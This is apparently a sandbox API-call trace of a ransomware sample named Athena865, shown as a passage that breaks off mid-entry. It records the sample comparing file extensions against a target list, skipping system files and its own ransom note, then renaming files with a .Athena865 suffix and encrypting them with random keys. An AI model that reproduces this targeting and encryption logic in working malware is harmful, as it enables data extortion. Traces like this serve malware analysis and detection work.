[0064.834] lstrlenW (lpString="mfd") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mfd") returned -1 [0064.834] lstrlenW (lpString="mpd") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mpd") returned -1 [0064.834] lstrlenW (lpString="mrg") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mrg") returned -1 [0064.834] lstrlenW (lpString="mud") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mud") returned -1 [0064.834] lstrlenW (lpString="mwb") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mwb") returned -1 [0064.834] lstrlenW (lpString="myd") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="myd") returned -1 [0064.834] lstrlenW (lpString="ndf") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="ndf") returned -1 [0064.834] lstrlenW (lpString="nnt") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="nnt") returned -1 [0064.834] lstrlenW (lpString="nrmlib") returned 6 [0064.835] lstrcmpiW (lpString1="on.fxh", lpString2="nrmlib") returned 1 [0064.835] lstrlenW (lpString="ns2") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="ns2") returned -1 [0064.835] lstrlenW (lpString="ns3") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="ns3") returned -1 [0064.835] lstrlenW (lpString="ns4") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="ns4") returned -1 [0064.835] lstrlenW (lpString="nsf") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="nsf") returned -1 [0064.835] lstrlenW (lpString="nv") returned 2 [0064.835] lstrcmpiW (lpString1="xh", lpString2="nv") returned 1 [0064.835] lstrlenW (lpString="nv2") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="nv2") returned -1 [0064.835] lstrlenW (lpString="nwdb") returned 4 [0064.835] lstrcmpiW (lpString1=".fxh", lpString2="nwdb") returned -1 [0064.835] lstrlenW (lpString="nyf") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="nyf") returned -1 [0064.835] lstrlenW (lpString="odb") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="odb") returned -1 [0064.835] lstrlenW (lpString="odb") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="odb") returned -1 [0064.835] lstrlenW (lpString="oqy") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="oqy") returned -1 [0064.835] lstrlenW (lpString="ora") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="ora") returned -1 [0064.835] lstrlenW (lpString="orx") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="orx") returned -1 [0064.835] lstrlenW (lpString="owc") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="owc") returned -1 [0064.835] lstrlenW (lpString="p96") returned 3 [0064.835] lstrcmpiW (lpString1="fxh", lpString2="p96") returned -1 [0064.836] lstrlenW (lpString="p97") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="p97") returned -1 [0064.836] lstrlenW (lpString="pan") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="pan") returned -1 [0064.836] lstrlenW (lpString="pdb") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="pdb") returned -1 [0064.836] lstrlenW (lpString="pdm") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="pdm") returned -1 [0064.836] lstrlenW (lpString="pnz") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="pnz") returned -1 [0064.836] lstrlenW (lpString="qry") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="qry") returned -1 [0064.836] lstrlenW (lpString="qvd") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="qvd") returned -1 [0064.836] lstrlenW (lpString="rbf") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="rbf") returned -1 [0064.836] lstrlenW (lpString="rctd") returned 4 [0064.836] lstrcmpiW (lpString1=".fxh", lpString2="rctd") returned -1 [0064.836] lstrlenW (lpString="rod") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="rod") returned -1 [0064.836] lstrlenW (lpString="rodx") returned 4 [0064.836] lstrcmpiW (lpString1=".fxh", lpString2="rodx") returned -1 [0064.836] lstrlenW (lpString="rpd") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="rpd") returned -1 [0064.836] lstrlenW (lpString="rsd") returned 3 [0064.836] lstrcmpiW (lpString1="fxh", lpString2="rsd") returned -1 [0064.836] lstrlenW (lpString="sas7bdat") returned 8 [0064.836] lstrcmpiW (lpString1="mmon.fxh", lpString2="sas7bdat") returned -1 [0064.837] lstrlenW (lpString="sbf") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="sbf") returned -1 [0064.837] lstrlenW (lpString="scx") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="scx") returned -1 [0064.837] lstrlenW (lpString="sdb") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="sdb") returned -1 [0064.837] lstrlenW (lpString="sdc") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="sdc") returned -1 [0064.837] lstrlenW (lpString="sdf") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="sdf") returned -1 [0064.837] lstrlenW (lpString="sis") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="sis") returned -1 [0064.837] lstrlenW (lpString="spq") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="spq") returned -1 [0064.837] lstrlenW (lpString="te") returned 2 [0064.837] lstrcmpiW (lpString1="xh", lpString2="te") returned 1 [0064.837] lstrlenW (lpString="teacher") returned 7 [0064.837] lstrcmpiW (lpString1="mon.fxh", lpString2="teacher") returned -1 [0064.837] lstrlenW (lpString="tmd") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="tmd") returned -1 [0064.837] lstrlenW (lpString="tps") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="tps") returned -1 [0064.837] lstrlenW (lpString="trc") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="trc") returned -1 [0064.837] lstrlenW (lpString="trc") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="trc") returned -1 [0064.837] lstrlenW (lpString="trm") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="trm") returned -1 [0064.837] lstrlenW (lpString="udb") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="udb") returned -1 [0064.837] lstrlenW (lpString="udl") returned 3 [0064.837] lstrcmpiW (lpString1="fxh", lpString2="udl") returned -1 [0064.837] lstrlenW (lpString="usr") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="usr") returned -1 [0064.838] lstrlenW (lpString="v12") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="v12") returned -1 [0064.838] lstrlenW (lpString="vis") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="vis") returned -1 [0064.838] lstrlenW (lpString="vpd") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="vpd") returned -1 [0064.838] lstrlenW (lpString="vvv") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="vvv") returned -1 [0064.838] lstrlenW (lpString="wdb") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="wdb") returned -1 [0064.838] lstrlenW (lpString="wmdb") returned 4 [0064.838] lstrcmpiW (lpString1=".fxh", lpString2="wmdb") returned -1 [0064.838] lstrlenW (lpString="wrk") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="wrk") returned -1 [0064.838] lstrlenW (lpString="xdb") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="xdb") returned -1 [0064.838] lstrlenW (lpString="xld") returned 3 [0064.838] lstrcmpiW (lpString1="fxh", lpString2="xld") returned -1 [0064.838] lstrlenW (lpString="xmlff") returned 5 [0064.838] lstrcmpiW (lpString1="n.fxh", lpString2="xmlff") returned -1 [0064.838] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.Athena865") returned 54 [0064.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.athena865"), dwFlags=0x1) returned 1 [0064.839] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.839] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12516) returned 1 [0064.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.840] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.840] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.840] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.840] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33f0, lpName=0x0) returned 0x17c [0064.842] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33f0) returned 0x100000 [0064.843] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.844] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.844] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.844] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.845] CloseHandle (hObject=0x17c) returned 1 [0064.845] CloseHandle (hObject=0x154) returned 1 [0064.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.845] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".") returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="..") returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="windows") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="bootmgr") returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="temp") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="pagefile.sys") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="boot") returned 1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="ids.txt") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="ntuser.dat") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="perflogs") returned -1 [0064.845] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="MSBuild") returned -1 [0064.846] lstrlenW (lpString="DissolveAnother.png") returned 19 [0064.846] lstrcpyW (in: lpString1=0x241e88c, lpString2="DissolveAnother.png" | out: lpString1="DissolveAnother.png") returned="DissolveAnother.png" [0064.846] lstrlenW (lpString="DissolveAnother.png") returned 19 [0064.846] lstrlenW (lpString="Athena865") returned 9 [0064.846] lstrcmpiW (lpString1="other.png", lpString2="Athena865") returned 1 [0064.846] lstrlenW (lpString=".dll") returned 4 [0064.846] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".dll") returned 1 [0064.846] lstrlenW (lpString=".lnk") returned 4 [0064.846] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".lnk") returned 1 [0064.846] lstrlenW (lpString=".ini") returned 4 [0064.846] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".ini") returned 1 [0064.846] lstrlenW (lpString=".sys") returned 4 [0064.846] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".sys") returned 1 [0064.846] lstrlenW (lpString="DissolveAnother.png") returned 19 [0064.846] lstrlenW (lpString="bak") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0064.846] lstrlenW (lpString="ba_") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0064.846] lstrlenW (lpString="dbb") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0064.846] lstrlenW (lpString="vmdk") returned 4 [0064.846] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0064.846] lstrlenW (lpString="rar") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0064.846] lstrlenW (lpString="zip") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0064.846] lstrlenW (lpString="tgz") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0064.846] lstrlenW (lpString="vbox") returned 4 [0064.846] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0064.846] lstrlenW (lpString="vdi") returned 3 [0064.846] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0064.847] lstrlenW (lpString="vhd") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0064.847] lstrlenW (lpString="vhdx") returned 4 [0064.847] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0064.847] lstrlenW (lpString="avhd") returned 4 [0064.847] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0064.847] lstrlenW (lpString="db") returned 2 [0064.847] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0064.847] lstrlenW (lpString="db2") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0064.847] lstrlenW (lpString="db3") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0064.847] lstrlenW (lpString="dbf") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0064.847] lstrlenW (lpString="mdf") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0064.847] lstrlenW (lpString="mdb") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0064.847] lstrlenW (lpString="sql") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0064.847] lstrlenW (lpString="sqlite") returned 6 [0064.847] lstrcmpiW (lpString1="er.png", lpString2="sqlite") returned -1 [0064.847] lstrlenW (lpString="sqlite3") returned 7 [0064.847] lstrcmpiW (lpString1="her.png", lpString2="sqlite3") returned -1 [0064.847] lstrlenW (lpString="sqlitedb") returned 8 [0064.847] lstrcmpiW (lpString1="ther.png", lpString2="sqlitedb") returned 1 [0064.847] lstrlenW (lpString="xml") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0064.847] lstrlenW (lpString="$er") returned 3 [0064.847] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0064.847] lstrlenW (lpString="4dd") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0064.848] lstrlenW (lpString="4dl") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0064.848] lstrlenW (lpString="^^^") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0064.848] lstrlenW (lpString="abs") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0064.848] lstrlenW (lpString="abx") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0064.848] lstrlenW (lpString="accdb") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accdb") returned 1 [0064.848] lstrlenW (lpString="accdc") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accdc") returned 1 [0064.848] lstrlenW (lpString="accde") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accde") returned 1 [0064.848] lstrlenW (lpString="accdr") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accdr") returned 1 [0064.848] lstrlenW (lpString="accdt") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accdt") returned 1 [0064.848] lstrlenW (lpString="accdw") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accdw") returned 1 [0064.848] lstrlenW (lpString="accft") returned 5 [0064.848] lstrcmpiW (lpString1="r.png", lpString2="accft") returned 1 [0064.848] lstrlenW (lpString="adb") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0064.848] lstrlenW (lpString="adb") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0064.848] lstrlenW (lpString="ade") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0064.848] lstrlenW (lpString="adf") returned 3 [0064.848] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0064.848] lstrlenW (lpString="adn") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0064.849] lstrlenW (lpString="adp") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0064.849] lstrlenW (lpString="alf") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0064.849] lstrlenW (lpString="ask") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0064.849] lstrlenW (lpString="btr") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0064.849] lstrlenW (lpString="cat") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0064.849] lstrlenW (lpString="cdb") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0064.849] lstrlenW (lpString="ckp") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0064.849] lstrlenW (lpString="cma") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0064.849] lstrlenW (lpString="cpd") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0064.849] lstrlenW (lpString="dacpac") returned 6 [0064.849] lstrcmpiW (lpString1="er.png", lpString2="dacpac") returned 1 [0064.849] lstrlenW (lpString="dad") returned 3 [0064.849] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0064.849] lstrlenW (lpString="dadiagrams") returned 10 [0064.849] lstrcmpiW (lpString1="nother.png", lpString2="dadiagrams") returned 1 [0064.849] lstrlenW (lpString="daschema") returned 8 [0064.849] lstrcmpiW (lpString1="ther.png", lpString2="daschema") returned 1 [0064.849] lstrlenW (lpString="db-journal") returned 10 [0064.849] lstrcmpiW (lpString1="nother.png", lpString2="db-journal") returned 1 [0064.849] lstrlenW (lpString="db-shm") returned 6 [0064.849] lstrcmpiW (lpString1="er.png", lpString2="db-shm") returned 1 [0064.849] lstrlenW (lpString="db-wal") returned 6 [0064.849] lstrcmpiW (lpString1="er.png", lpString2="db-wal") returned 1 [0064.850] lstrlenW (lpString="dbc") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0064.850] lstrlenW (lpString="dbs") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0064.850] lstrlenW (lpString="dbt") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0064.850] lstrlenW (lpString="dbv") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0064.850] lstrlenW (lpString="dbx") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0064.850] lstrlenW (lpString="dcb") returned 3 [0064.850] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0064.850] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0064.850] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0064.850] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0064.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.Athena865") returned 63 [0064.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.athena865"), dwFlags=0x1) returned 1 [0064.852] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.852] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27935) returned 1 [0064.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.852] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.853] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.853] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.853] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7020, lpName=0x0) returned 0x17c [0064.861] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7020) returned 0x100000 [0064.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.864] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.864] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.865] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.865] CloseHandle (hObject=0x17c) returned 1 [0064.865] CloseHandle (hObject=0x154) returned 1 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.865] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".") returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="..") returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="windows") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="bootmgr") returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="temp") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="pagefile.sys") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="boot") returned 1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="ids.txt") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="ntuser.dat") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="perflogs") returned -1 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="MSBuild") returned -1 [0064.866] lstrlenW (lpString="DissolveNoise.png") returned 17 [0064.866] 